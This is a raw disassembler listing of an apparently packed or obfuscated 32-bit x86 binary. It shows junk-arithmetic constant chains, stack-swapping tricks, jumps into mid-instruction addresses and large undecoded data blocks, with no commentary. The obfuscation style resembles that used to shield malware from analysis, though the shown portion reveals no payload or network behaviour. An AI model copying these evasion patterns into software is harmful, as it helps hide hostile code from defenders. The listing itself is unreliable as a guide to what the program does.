0FE0CE9DEh, 8100FFFFh, 58E01FE1h, 0DE981B4h, 8130078Dh dd 0DA1C4EC9h, 0B4850FDCh, 0FFFFF0h ; --------------------------------------------------------------------------- loc_430758: ; CODE XREF: fzj3qwht:0042FD61j jmp loc_431EC6 ; --------------------------------------------------------------------------- align 2 retn ; --------------------------------------------------------------------------- align 10h db 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42EFCF loc_430761: ; CODE XREF: sub_42EFCF+Aj jmp loc_43077E ; END OF FUNCTION CHUNK FOR sub_42EFCF ; --------------------------------------------------------------------------- dw 1487h ; --------------------------------------------------------------------------- and al, 8Bh retf 7C68h ; --------------------------------------------------------------------------- db 23h, 43h, 0 dd 0FFF162E9h, 0E98500FFh, 2122E9h db 2 dup(0) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42EFCF loc_43077E: ; CODE XREF: sub_42EFCF:loc_430761j mov esi, offset loc_431A96 jmp loc_4304D0 ; END OF FUNCTION CHUNK FOR sub_42EFCF ; --------------------------------------------------------------------------- locret_430788: ; CODE XREF: fzj3qwht:004321FFj retn ; --------------------------------------------------------------------------- db 2 dup(0), 0E9h dd 0FFFFFE0Eh dword_430790 dd 5E8906C6h, 903AF781h, 0FDB404A2h, 0FFE03CE8h ; DATA XREF: sub_431F1F:loc_430450o db 0FFh ; --------------------------------------------------------------------------- loc_4307A1: ; CODE XREF: fzj3qwht:00430B94p xchg esi, [esp] pop esi xchg eax, [esp] call near ptr byte_42FE51+2 ; --------------------------------------------------------------------------- db 0 ; --------------------------------------------------------------------------- loc_4307AE: ; CODE XREF: fzj3qwht:loc_430712j push offset loc_431744 jmp loc_430DF7 ; --------------------------------------------------------------------------- db 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42FC3B loc_4307B9: ; CODE XREF: sub_42FC3B+15j xchg edi, [esp-4+arg_0] pop edi mov [esi], eax xchg eax, [esp-8+arg_4] mov esi, eax pop eax popf mov eax, [ebp-0Ch] jmp loc_430878 ; END OF FUNCTION CHUNK FOR sub_42FC3B ; --------------------------------------------------------------------------- align 10h loc_4307D0: ; CODE XREF: fzj3qwht:loc_431A25j mov byte ptr [edx], 3 pop edx push 0A02301E8h pop eax add eax, 0ECD0754h xor eax, 72FFB596h and eax, 0E29B1602h sub eax, 4EFECD96h jmp loc_42EE5E ; --------------------------------------------------------------------------- align 4 dd 0E9CE1300h, 0FFFFF4D3h dword_430800 dd 51242C87h, 94BE8h ; DATA XREF: fzj3qwht:004306F7o db 3 dup(0) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_431F1F loc_43080B: ; CODE XREF: sub_431F1F+12j jmp loc_430450 ; END OF FUNCTION CHUNK FOR sub_431F1F ; --------------------------------------------------------------------------- locret_430810: ; CODE XREF: fzj3qwht:00430CF7j retn ; --------------------------------------------------------------------------- db 2 dup(0), 0E9h dd 0FFFFEECEh, 0EB8AE900h, 3487FFFFh, 738E824h, 0 ; --------------------------------------------------------------------------- loc_430828: ; CODE XREF: fzj3qwht:loc_4328E4j add eax, 7F5B23DAh loc_43082E: ; DATA XREF: sub_42FA52+267Bo xchg eax, [esp] retn ; --------------------------------------------------------------------------- jmp loc_4312C3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_431167 loc_430837: ; CODE XREF: sub_431167+10j jmp loc_430E53 ; END OF FUNCTION CHUNK FOR sub_431167 ; --------------------------------------------------------------------------- db 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43041D loc_43083D: ; CODE XREF: sub_43041D-10E9j jmp nullsub_143 ; END OF FUNCTION CHUNK FOR sub_43041D ; --------------------------------------------------------------------------- push offset loc_430143 jmp locret_42FB1E ; --------------------------------------------------------------------------- mov edi, [edi] popf xchg edi, [esp] call eax jmp loc_4316B5 ; --------------------------------------------------------------------------- align 2 dw 8B52h dd 241487D5h, 0BFE9EC8Bh, 0FFFFF6h, 0E9E91B00h, 0E52h ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_99. PRESS KEYPAD "+" TO EXPAND] db 3Bh, 0F8h, 0E9h ; --------------------------------------------------------------------------- retf ; --------------------------------------------------------------------------- db 0FDh, 2 dup(0FFh) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42FC3B loc_430878: ; CODE XREF: sub_42FC3B+B8Ej mov esp, ebp xchg edi, [esp-10h+arg_C] mov ebp, edi pop edi retn ; END OF FUNCTION CHUNK FOR sub_42FC3B ; --------------------------------------------------------------------------- jmp locret_431358 ; --------------------------------------------------------------------------- align 4 dd 43251C68h, 0FA9FE900h, 8700FFFFh, 1487240Ch, 5ACA8B24h dd 58CAC081h, 0C684AD4h, 0E90042F3h, 0FFFFE6E4h db 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42F04D loc_4308AD: ; CODE XREF: sub_42F04D:loc_42F05Fj mov ebx, eax pop eax xchg edx, [esp-8+arg_4] jmp nullsub_134 ; END OF FUNCTION CHUNK FOR sub_42F04D ; --------------------------------------------------------------------------- db 0 byte_4308B9 db 46h, 5, 9Dh ; DATA XREF: sub_4301AC+1o dd 0F004321h, 0FFF27A81h, 636851FFh, 59F8CDEAh, 0FFFC48E9h db 0FFh, 2 dup(0) ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_150. PRESS KEYPAD "+" TO EXPAND] db 2 dup(0) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43052F loc_4308D6: ; CODE XREF: sub_43052F+63j jmp near ptr loc_42E94A+1 ; END OF FUNCTION CHUNK FOR sub_43052F ; --------------------------------------------------------------------------- align 4 dword_4308DC dd 0A68A6857h, 815F43D5h, 0BB295ACFh, 0EEEF8175h, 0E97D59ABh ; DATA XREF: fzj3qwht:loc_4313A4o dd 0FFFFE3F8h, 3C870000h, 0EEA46824h, 0C5E90042h, 12h dd 5F595700h, 0FFF9FAE8h, 0E90000FFh, 0C5Ah db 2 dup(0), 5Eh ; =============== S U B R O U T I N E ======================================= sub_430917 proc near ; CODE XREF: sub_43052F+17F1p ; FUNCTION CHUNK AT 00432020 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 004325CD SIZE 00000013 BYTES xchg ebx, [esp+0] pop ebx push edx mov edx, offset nullsub_139 jmp loc_4325CD sub_430917 endp ; --------------------------------------------------------------------------- locret_430926: ; CODE XREF: fzj3qwht:loc_430DF7j retn ; --------------------------------------------------------------------------- align 4 dd 72CB8100h, 0E9D35C8Fh, 0FFFFF11Eh db 0 ; --------------------------------------------------------------------------- loc_430935: ; CODE XREF: fzj3qwht:loc_431D4Ej and ecx, 1B0B4F78h or ecx, 6F446674h and ecx, 0B2A390A5h add ecx, 0BB006063h jmp loc_42F969 ; --------------------------------------------------------------------------- dw 0C0F7h dd 400h, 0FFFE2EE9h db 0FFh ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_431686 loc_43095D: ; CODE XREF: sub_431686-17BCj add esi, 1053F6C4h jmp loc_42F3B0 ; END OF FUNCTION CHUNK FOR sub_431686 ; --------------------------------------------------------------------------- dd 1C870000h, 24348724h, 0E95EDE8Bh, 490h, 68B0000h, 0E915C0C1h dd 0F5Eh db 0 ; --------------------------------------------------------------------------- locret_430985: ; CODE XREF: fzj3qwht:00431B87j retn ; --------------------------------------------------------------------------- dw 8B0Fh dd 0FFFFEC49h ; --------------------------------------------------------------------------- not esi ; =============== S U B R O U T I N E ======================================= sub_43098E proc near ; CODE XREF: sub_42F4AE+AAp ; FUNCTION CHUNK AT 0042FFB2 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00430513 SIZE 00000005 BYTES xchg edi, [esp+0] call sub_431F5F add cl, ch mov ecx, 0FFFFEEh loc_43099D: ; CODE XREF: sub_43193B+6p xchg edx, [esp+0] xchg ecx, [esp+0] mov edx, ecx pop ecx add edx, 0D5527689h mov [edx], eax jmp loc_430513 sub_43098E endp ; sp-analysis failed ; --------------------------------------------------------------------------- align 4 dd 0A695F781h, 0C7E83189h, 13h, 24E9F985h, 0C600000Ah dd 52598701h, 0FFF42AE8h ; --------------------------------------------------------------------------- inc dword ptr [eax] loc_4309D2: ; CODE XREF: fzj3qwht:00430731j jmp loc_43119C ; --------------------------------------------------------------------------- pop eax jmp sub_431F5F ; --------------------------------------------------------------------------- popf jmp sub_42F04D ; --------------------------------------------------------------------------- align 4 dd 0E9D02B00h, 0FFFFEEB7h db 2 dup(0) ; =============== S U B R O U T I N E ======================================= sub_4309EE proc near ; CODE XREF: sub_42F4AE+E4j ; FUNCTION CHUNK AT 00430165 SIZE 0000000D BYTES xchg edx, [esp+0] pop edx call sub_42FCC8 push eax mov eax, edx jmp loc_430165 sub_4309EE endp ; sp-analysis failed ; --------------------------------------------------------------------------- align 10h db 0 ; --------------------------------------------------------------------------- loc_430A01: ; CODE XREF: fzj3qwht:0043004Ej xchg edx, [esp] pop edx push 0FAC864C3h xchg edi, [esp] jmp loc_430D25 ; --------------------------------------------------------------------------- xchg edx, ebx jmp loc_4327DE ; --------------------------------------------------------------------------- db 2 dup(0), 87h dd 0F204E9EBh db 2 dup(0FFh) ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_153. PRESS KEYPAD "+" TO EXPAND] align 4 loc_430A24: ; CODE XREF: fzj3qwht:0042F016j jmp near ptr dword_42EA44+22h ; --------------------------------------------------------------------------- db 2 dup(0) ; --------------------------------------------------------------------------- loc_430A2B: ; DATA XREF: sub_430C13-AC1o add ebx, 3D5C3B8h add eax, ebx pop ebx jmp loc_4322A0 ; --------------------------------------------------------------------------- align 2 ; START OF FUNCTION CHUNK FOR sub_431F5F loc_430A3A: ; CODE XREF: sub_431F5F:loc_430B0Ej jz loc_430FBB jmp loc_431971 ; END OF FUNCTION CHUNK FOR sub_431F5F ; --------------------------------------------------------------------------- db 2 dup(0), 33h ; --------------------------------------------------------------------------- retf 19E9h ; --------------------------------------------------------------------------- db 0F1h dd 0FFFFh ; --------------------------------------------------------------------------- loc_430A50: ; CODE XREF: fzj3qwht:loc_432601j call sub_42F263 loc_430A55: ; CODE XREF: fzj3qwht:0043252Bj jmp loc_42F8E7 ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_430A5C proc near ; CODE XREF: fzj3qwht:004301E8p ; fzj3qwht:00432437j ; FUNCTION CHUNK AT 00432538 SIZE 00000011 BYTES xchg ecx, [esp+0] xchg ebp, [esp+0] mov ecx, ebp pop ebp xor eax, 19D8E3D8h jmp loc_432538 sub_430A5C endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42F4AE loc_430A70: ; CODE XREF: sub_42F4AE+FDj call sub_432090 add cl, ch dec eax sbb al, [eax] ; END OF FUNCTION CHUNK FOR sub_42F4AE ; --------------------------------------------------------------------------- db 0 ; --------------------------------------------------------------------------- loc_430A7B: ; CODE XREF: fzj3qwht:004301FDj jmp loc_430DC9 ; --------------------------------------------------------------------------- mov byte ptr [esi], 0F7h pop esi add eax, 0E333E616h mov eax, [eax] pushf push 8A084C90h pop ecx sub ecx, 27FDBE04h and ecx, 8B247CE8h xor ecx, 2000C82h popf cdq jmp loc_431720 ; --------------------------------------------------------------------------- db 2 dup(0) ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_142. PRESS KEYPAD "+" TO EXPAND] align 10h loc_430AB0: ; CODE XREF: fzj3qwht:0042EDC4j jmp locret_43050C ; --------------------------------------------------------------------------- align 2 dw 7DE9h dd 0FFFFEFh, 0E08100C3h, 0F03BC797h, 0A521C081h, 0C5F4D50Ah dd 0FFFDC2E8h db 0FFh ; --------------------------------------------------------------------------- loc_430AD1: ; CODE XREF: fzj3qwht:004311B0j jmp locret_43201D ; --------------------------------------------------------------------------- dw 880Fh dd 0FFFFECA0h, 0FFF422E9h, 810000FFh, 0E3E96CCBh, 0F005E995h db 2 dup(0FFh) ; =============== S U B R O U T I N E ======================================= sub_430AEE proc near ; CODE XREF: sub_431686:loc_43278Ep ; FUNCTION CHUNK AT 00430C3D SIZE 0000000C BYTES xchg edx, [esp+0] xchg edi, [esp+0] mov edx, edi pop edi push 0A9064E4Ch pop ebx and ebx, 1B53BD8Dh jmp loc_430C3D sub_430AEE endp ; sp-analysis failed ; --------------------------------------------------------------------------- add eax, 0E7D41996h ; START OF FUNCTION CHUNK FOR sub_431F5F loc_430B0E: ; CODE XREF: sub_431F5F:loc_431E9Fj jo loc_430A3A push 432794h jmp loc_42F134 ; END OF FUNCTION CHUNK FOR sub_431F5F ; --------------------------------------------------------------------------- align 10h retn ; --------------------------------------------------------------------------- jmp loc_431E06 ; --------------------------------------------------------------------------- dw 6857h dd 12E1B58Fh, 0DBEF815Fh, 8120211Ah, 64D75CCFh, 16EF814Bh dd 816A740Ah, 0D223C4C7h, 0F7E1E96Eh, 0FFFFh, 1C87D103h dd 3C875B24h, 68505F24h, 6CBB7C99h, 0FFF8E0E9h, 820F00FFh dd 1AE6h ; =============== S U B R O U T I N E ======================================= sub_430B68 proc near ; CODE XREF: sub_42F4AE-2A7p ; sub_43041D-D08j arg_0 = dword ptr 4 xchg eax, [esp+0] pop eax xchg edx, [esp-4+arg_0] jmp nullsub_134 sub_430B68 endp ; sp-analysis failed ; --------------------------------------------------------------------------- dd 73E80000h, 0FFFFE4h ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_431686 loc_430B7C: ; CODE XREF: sub_431686+12BEj jns loc_4310C1 push 9E4C1933h pop eax push edi jmp near ptr dword_42E868+1Ch ; END OF FUNCTION CHUNK FOR sub_431686 ; --------------------------------------------------------------------------- loc_430B8E: ; CODE XREF: fzj3qwht:loc_432001j xor eax, 9F56F3FFh call loc_4307A1 ; --------------------------------------------------------------------------- db 2 dup(0) ; --------------------------------------------------------------------------- loc_430B9B: ; DATA XREF: fzj3qwht:0042F898o mov byte ptr [edx], 87h pop edx push offset word_43200E jmp locret_432000 ; --------------------------------------------------------------------------- db 2 dup(0) ; --------------------------------------------------------------------------- loc_430BAB: ; CODE XREF: fzj3qwht:loc_42F38Dj and esi, 56C30AC3h xor esi, 304C1929h sub esi, 20839A28h xor esi, 8F697A0h add esi, ebp add esi, 0A2801F59h call sub_42F04D loc_430BD0: ; CODE XREF: sub_430497+13j add cl, ch push esp or [eax], al ; --------------------------------------------------------------------------- db 3 dup(0) ; =============== S U B R O U T I N E ======================================= sub_430BD8 proc near ; CODE XREF: sub_431686-5C0p arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 00432868 SIZE 0000000A BYTES xchg edx, [esp+0] pop edx xchg ecx, [esp-4+arg_0] mov eax, ecx pop ecx xor eax, 19D15691h sub eax, 82409A69h jmp loc_432868 sub_430BD8 endp ; sp-analysis failed ; --------------------------------------------------------------------------- align 4 loc_430BF4: ; CODE XREF: fzj3qwht:0042F14Aj xor ebx, 97F0052Ah add ebx, 0A2115E5h sub ebx, 5F8A8645h add ebx, 0BE87D32Ah jmp loc_42F556 ; --------------------------------------------------------------------------- db 2 dup(0) ; =============== S U B R O U T I N E ======================================= sub_430C13 proc near ; CODE XREF: fzj3qwht:0042F8C2p ; fzj3qwht:0042FB18j ; FUNCTION CHUNK AT 0043013E SIZE 0000001E BYTES ; FUNCTION CHUNK AT 00431C41 SIZE 00000005 BYTES xchg edi, [esp+0] pop edi xor edx, 0C17A9617h add edx, ebp add edx, 0C9F2F653h jmp loc_431C41 sub_430C13 endp ; sp-analysis failed ; --------------------------------------------------------------------------- align 4 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_129. PRESS KEYPAD "+" TO EXPAND] db 2 dup(0) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4301AC loc_430C2F: ; CODE XREF: sub_4301AC+1C1Dj jmp loc_43138D ; END OF FUNCTION CHUNK FOR sub_4301AC ; --------------------------------------------------------------------------- db 2 dup(0) ; --------------------------------------------------------------------------- loc_430C36: ; CODE XREF: fzj3qwht:0042FE1Cj jmp locret_432044 ; --------------------------------------------------------------------------- align 4 db 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_430AEE loc_430C3D: ; CODE XREF: sub_430AEE+15j jnz loc_431517 add [ebx+8C3E92Bh], cl ; END OF FUNCTION CHUNK FOR sub_430AEE ; --------------------------------------------------------------------------- db 2 dup(0), 0C3h dd 0C0090000h, 0E1AB850Fh, 0D0E9FFFFh, 87FFFFDCh, 5559240Ch dd 6A68EE8Bh, 0E90042FCh, 0FFFFFE50h, 5A241487h, 0DDFEC681h dd 1689FCB6h, 0E9242C87h, 0FFFFF603h, 288B0000h, 12E9CD85h dd 19h ; =============== S U B R O U T I N E ======================================= sub_430C8C proc near ; CODE XREF: fzj3qwht:0042F2AFj ; fzj3qwht:0043291Cp arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 0042F2A8 SIZE 00000005 BYTES xchg ebx, [esp+0] pop ebx add ebx, 9A06B325h loc_430C96: ; DATA XREF: sub_431167-224Bo xchg ebx, [esp-4+arg_0] jmp loc_42F2A8 sub_430C8C endp ; sp-analysis failed ; --------------------------------------------------------------------------- align 10h ; START OF FUNCTION CHUNK FOR sub_431686 loc_430CA0: ; CODE XREF: sub_431686:loc_42F3B0j mov byte ptr [esi], 9Dh pop esi add esi, ebp add esi, 0D6554B8Ah mov esi, [esi] xchg esi, [esp+4+var_4] push ebx loc_430CB2: ; DATA XREF: sub_431686-2344o pushf jmp loc_432306 ; END OF FUNCTION CHUNK FOR sub_431686 ; --------------------------------------------------------------------------- dd 3C60000h, 7C65B8Bh, 535A5F89h, 54368668h, 0F92AE99Fh dd 0FFFFh, 0D901F381h, 1C870002h ; --------------------------------------------------------------------------- and al, 88h ; DATA XREF: sub_4316FE+Bo adc eax, offset dword_42A104 mov esp, ebp jmp loc_432633 ; --------------------------------------------------------------------------- align 4 add esi, ebp add esi, 6820699Fh mov esi, [esi] push 43081Eh jmp locret_430810 ; --------------------------------------------------------------------------- dd 243C8700h, 0C015FF5Fh, 6A0042A0h, 0C015FFFFh, 0E90042A0h dd 0FFFFF611h, 0A8B0000h, 744AC581h, 74E9F319h, 0FFFFECh db 0 ; --------------------------------------------------------------------------- loc_430D25: ; CODE XREF: fzj3qwht:00430A0Dj mov ebx, edi pop edi push esi mov esi, ecx xchg esi, [esp] jmp loc_430712 ; --------------------------------------------------------------------------- align 4 dd 0D681C60Bh, 63D54C62h, 0FFE23CE9h, 870000FFh, 815A2414h dd 0FCA4C7F3h db 0BFh db 0DFh, 0D3h, 0E8h ; DATA XREF: fzj3qwht:00431E0Ao dd 1B76h db 0 ; --------------------------------------------------------------------------- loc_430D55: ; CODE XREF: fzj3qwht:0042F7BAj xchg edx, [esp] mov ebp, esp push ebp mov ebp, ecx push 42F619h jmp locret_42EE5D ; --------------------------------------------------------------------------- align 4 dd 8707C600h, 1C58685Fh, 815B2892h, 0AC5EFCBh, 0A6C3815Ah dd 0E885A81Bh, 0FFFFEC13h db 0 ; --------------------------------------------------------------------------- loc_430D85: ; DATA XREF: sub_42F4AE+205o xchg ebx, [esp] push ecx mov ecx, edi xchg ecx, [esp] pushf push 7AB0900Ah jmp loc_43050D ; --------------------------------------------------------------------------- db 0E8h, 0EAh, 0E3h dd 0FFFFh, 1368E9h, 0E9000000h, 1442h, 24148700h, 3FC0815Ah dd 0E8BA6637h, 1A10h db 2 dup(0) ; --------------------------------------------------------------------------- locret_430DBE: ; CODE XREF: fzj3qwht:0042ED3Ej retn ; --------------------------------------------------------------------------- align 10h mov edi, [ecx] not esi jmp sub_42F263 ; --------------------------------------------------------------------------- loc_430DC9: ; CODE XREF: fzj3qwht:loc_430A7Bj push offset loc_43257B jmp loc_4311DC ; --------------------------------------------------------------------------- align 4 dd 0FC45C700h, 1, 0EC7BBB53h, 45E90042h, 0FFFFDDh, 0D68B5200h dd 0E8241487h, 1857h db 0, 0C3h, 0 ; --------------------------------------------------------------------------- loc_430DF7: ; CODE XREF: fzj3qwht:004307B3j jmp locret_430926 ; --------------------------------------------------------------------------- jmp locret_431204 ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- dw 0E85Fh dd 0FFFFEAD4h, 755E9h, 87000000h, 76BE9F5h, 0 ; --------------------------------------------------------------------------- loc_430E18: ; CODE XREF: fzj3qwht:loc_43038Bj popf xor eax, eax mov [ebp-10h], eax cmp dword ptr [ebp-8], 0 jmp near ptr dword_42F78C+1Ah ; =============== S U B R O U T I N E ======================================= sub_430E27 proc near ; CODE XREF: fzj3qwht:00431EE8p ; FUNCTION CHUNK AT 0042F7CC SIZE 00000019 BYTES ; FUNCTION CHUNK AT 0042FD05 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00431811 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 00431FD9 SIZE 00000005 BYTES xchg ecx, [esp+0] pop ecx mov edi, offset loc_42F7D3 jmp loc_42FD05 sub_430E27 endp ; sp-analysis failed ; --------------------------------------------------------------------------- align 2 dw 128Bh dd 572414DBh, 43124F68h, 0E5F5E900h db 2 dup(0FFh) ; =============== S U B R O U T I N E ======================================= sub_430E46 proc near ; CODE XREF: fzj3qwht:0042EDEDj ; sub_430C13:loc_43013Ep ; FUNCTION CHUNK AT 0042F957 SIZE 0000000F BYTES xchg ebx, [esp+0] pop ebx mov [edx], eax pop edx jmp loc_42F957 sub_430E46 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_431167 loc_430E53: ; CODE XREF: sub_431167:loc_430837j xchg ecx, [esp+0] or eax, ebx jmp loc_430E98 ; END OF FUNCTION CHUNK FOR sub_431167 ; --------------------------------------------------------------------------- db 2 dup(0), 0Fh dd 0FFED1989h, 0D38B52FFh, 0BB241487h, 42F786h, 0FFE907E9h db 0FFh db 50h, 0E8h, 2Ch ; DATA XREF: sub_42FA52+24FAo dd 0F000012h, 0B448Dh, 0E9000000h, 0FFFFDFA8h, 0C58DC281h dd 2AE921FAh, 0Bh db 0 ; --------------------------------------------------------------------------- locret_430E95: ; CODE XREF: fzj3qwht:0042FEF1j retn ; --------------------------------------------------------------------------- align 4 ; START OF FUNCTION CHUNK FOR sub_431167 loc_430E98: ; CODE XREF: sub_431167-30Fj jmp loc_42EF10 ; END OF FUNCTION CHUNK FOR sub_431167 ; --------------------------------------------------------------------------- db 2 dup(0), 0E8h ; CODE XREF: fzj3qwht:loc_432789j dd 1812h ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- db 2 dup(0) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4301B7 loc_430EA7: ; CODE XREF: sub_4301B7:loc_42ED0Aj ; fzj3qwht:loc_42EE5Ej add eax, 0B2473A38h loc_430EAD: ; DATA XREF: fzj3qwht:00430ED8o imul eax, ebp, 7F58C081h lodsb fmul qword ptr [ebx-347EF100h] stc ; END OF FUNCTION CHUNK FOR sub_4301B7 ; --------------------------------------------------------------------------- db 0FFh dd 0E11CE9FFh, 0FFFFh, 0FF02885Fh, 45FFF04Dh, 0F07D0CFCh dd 1F8D0F00h db 0DCh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_430ED7: ; CODE XREF: fzj3qwht:loc_431B61j push edx mov edx, offset loc_430EAD jmp loc_431A25 ; --------------------------------------------------------------------------- db 0 ; --------------------------------------------------------------------------- locret_430EE3: ; CODE XREF: fzj3qwht:00431013j retn ; --------------------------------------------------------------------------- db 2 dup(0) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42F4AE loc_430EE6: ; CODE XREF: sub_42F4AE+1C9j jmp near ptr dword_42EA44+0D3h ; END OF FUNCTION CHUNK FOR sub_42F4AE ; --------------------------------------------------------------------------- align 4 dd 89800F00h, 0FFFFFDFh, 0FFFEF188h, 0E003E9FFh, 0FFFFh dd 0DD7CE950h, 0C87FFFFh, 0F0B3E924h, 1C6FFFFh, 0F9F759FFh dd 0FACE6851h, 0C1590745h, 0F18117C1h, 32BFDF64h, 0FFF53DE9h ; --------------------------------------------------------------------------- inc dword ptr [eax] ; =============== S U B R O U T I N E ======================================= sub_430F2A proc near ; CODE XREF: sub_4312D7+859p ; FUNCTION CHUNK AT 0043246C SIZE 0000000A BYTES xchg edx, [esp+0] pop edx push eax mov eax, offset loc_42F84D jmp loc_43246C sub_430F2A endp ; --------------------------------------------------------------------------- align 2 dw 0D068h dd 0E900430Ch, 0FFFFF8CFh db 0 ; --------------------------------------------------------------------------- loc_430F45: ; CODE XREF: fzj3qwht:0042FEB4j ror eax, 1Eh ; =============== S U B R O U T I N E ======================================= sub_430F48 proc near ; CODE XREF: sub_4301AC+1B25p ; FUNCTION CHUNK AT 0042FB2D SIZE 00000010 BYTES ; FUNCTION CHUNK AT 004303B9 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 0043167B SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00432450 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 004327D8 SIZE 00000005 BYTES xchg esi, [esp+0] pop esi push edi push 452D8DE0h pop edi jmp loc_432450 sub_430F48 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 0 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_152. PRESS KEYPAD "+" TO EXPAND] align 4 ; START OF FUNCTION CHUNK FOR sub_42F4AE loc_430F5C: ; CODE XREF: sub_42F4AE+F0j ; fzj3qwht:004317E8j xor edx, edi xchg eax, [esp-0Ch+arg_8] loc_430F61: ; CODE XREF: sub_431686:loc_432775j xchg edi, [esp-0Ch+arg_8] push offset byte_43217D jmp loc_43000C ; END OF FUNCTION CHUNK FOR sub_42F4AE ; --------------------------------------------------------------------------- align 10h pop ecx xchg ebx, [eax] jmp loc_4328CA ; --------------------------------------------------------------------------- db 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_431E69 loc_430F79: ; CODE XREF: sub_431E69+Dj mov eax, offset loc_43287C jmp loc_432872 ; END OF FUNCTION CHUNK FOR sub_431E69 ; --------------------------------------------------------------------------- align 4 dd 241FBF00h, 46E90043h, 87FFFFE5h, 0DDBF240Ch, 0E900431Bh dd 89Fh, 788C6800h, 815B212Fh, 6746B0EBh, 58C38102h db 6Fh, 7Ah, 0E1h byte_430FAF db 66h ; DATA XREF: fzj3qwht:00432680o ; --------------------------------------------------------------------------- sbb al, 24h retn ; --------------------------------------------------------------------------- align 4 loc_430FB4: ; CODE XREF: fzj3qwht:0042E901j jmp loc_43100B ; --------------------------------------------------------------------------- db 2 dup(0) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_431F5F loc_430FBB: ; CODE XREF: sub_431F5F:loc_430A3Aj mov edx, [eax] or edx, edx jmp loc_4325FB ; END OF FUNCTION CHUNK FOR sub_431F5F ; --------------------------------------------------------------------------- db 2 dup(0) aHSoxbstxpchC db 'hÝš‘®Xè’•¯—hê(C',0 ; DATA XREF: fzj3qwht:0042EE9Ao db 0E9h ; --------------------------------------------------------------------------- push ebx fdivr st, st(7) inc dword ptr [eax] add bl, al ; START OF FUNCTION CHUNK FOR sub_42F4AE loc_430FDF: ; CODE XREF: sub_42F4AE+11Bj jmp nullsub_137 ; END OF FUNCTION CHUNK FOR sub_42F4AE ; --------------------------------------------------------------------------- dd 0EC49BB53h, 79E90042h db 0EDh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_430FEF: ; CODE XREF: fzj3qwht:0043265Bj mov edi, ecx xchg edi, [esp] push 0B2061AFCh pop esi and esi, 0E05E21C9h or esi, 12BB8FE4h jmp loc_43284F ; --------------------------------------------------------------------------- loc_43100B: ; CODE XREF: fzj3qwht:loc_430FB4j add eax, edi pop edi push offset word_43263A jmp locret_430EE3 ; --------------------------------------------------------------------------- dd 6C60000h, 0A0B95E03h, 0E90042EAh, 0FFFFE9ACh, 240C8700h ; CODE XREF: sub_431C85+Cj dd 8B243C87h, 7C65FCFh, 0E02688Bh, 0C2E90043h db 0FDh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_43103F: ; CODE XREF: fzj3qwht:0042F90Cj xchg eax, [esp] pop eax push ebx push edx push 0B83AA6B6h pop edx jmp loc_43162A ; --------------------------------------------------------------------------- dd 0EF815F00h, 0CF3419F8h, 0C781C7D1h, 10899CFCh, 0E906C7C1h dd 0FFFFE3DAh, 0CE815E00h, 8C44D0DDh, 8716F681h, 0C6C16A5Dh dd 0AAC68112h, 0E98C9B5Eh, 0FFFFEDEBh, 8B06C600h, 8FCE8h db 3 dup(0) ; --------------------------------------------------------------------------- loc_43108F: ; CODE XREF: fzj3qwht:00430377j jmp loc_42F34C ; --------------------------------------------------------------------------- dd 3C870000h, 54885F24h, 0BE68E005h, 5840EFB1h, 0F4D5E881h dd 0C0814095h, 0A0EC7B95h, 0FFDB48E9h, 0B2810FFFh, 0E9000017h dd 0DBDh db 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_431686 loc_4310C1: ; CODE XREF: sub_431686:loc_430B7Cj push 0D46C9A3Bh call sub_430BD8 loc_4310CB: ; CODE XREF: fzj3qwht:0042E8A7j jmp loc_42EC41 ; END OF FUNCTION CHUNK FOR sub_431686 ; --------------------------------------------------------------------------- xchg edx, [esp] push 750CB83Fh xchg esi, [esp] mov ebx, esi jmp loc_432008 ; --------------------------------------------------------------------------- dw 0F00h dd 0FFE5B983h, 0E67EE9FFh, 0FFFFh, 0C481EC8Bh, 0FFFFFF74h dd 0FFDE64E8h, 0E90000FFh, 0FFFFEE4Fh, 2DE800h, 0 ; --------------------------------------------------------------------------- jmp loc_43127F ; --------------------------------------------------------------------------- db 2 